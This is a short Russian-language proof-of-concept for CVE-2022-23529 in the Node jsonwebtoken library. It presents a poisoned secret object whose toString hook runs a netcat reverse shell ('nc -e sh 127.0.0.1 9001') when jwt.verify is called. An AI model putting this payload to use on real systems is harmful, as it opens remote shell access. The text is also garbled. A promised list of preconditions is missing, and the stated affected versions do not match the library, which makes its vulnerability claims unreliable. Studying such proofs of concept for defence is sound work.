
Эксплойт proof-of-concept для CVE-2022-23529, демонстрирующий RCE в уязвимых JWT-библиотеках через вредоносные объекты секретов HMAC.
Библиотека JSON Web Token (JWT) версий до 3.4.6, 4.0.4 и 4.1.5 уязвима для удаленного выполнения кода (RCE).
Функции хеширования HMAC принимают на вход любую строку, что приводит к RCE.
Из-за предварительных условий эта уязвимость, скорее всего, не эксплуатируема.
Чтобы воспользоваться этой уязвимостью, атакующему необходимо выполнение одного из следующих условий:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);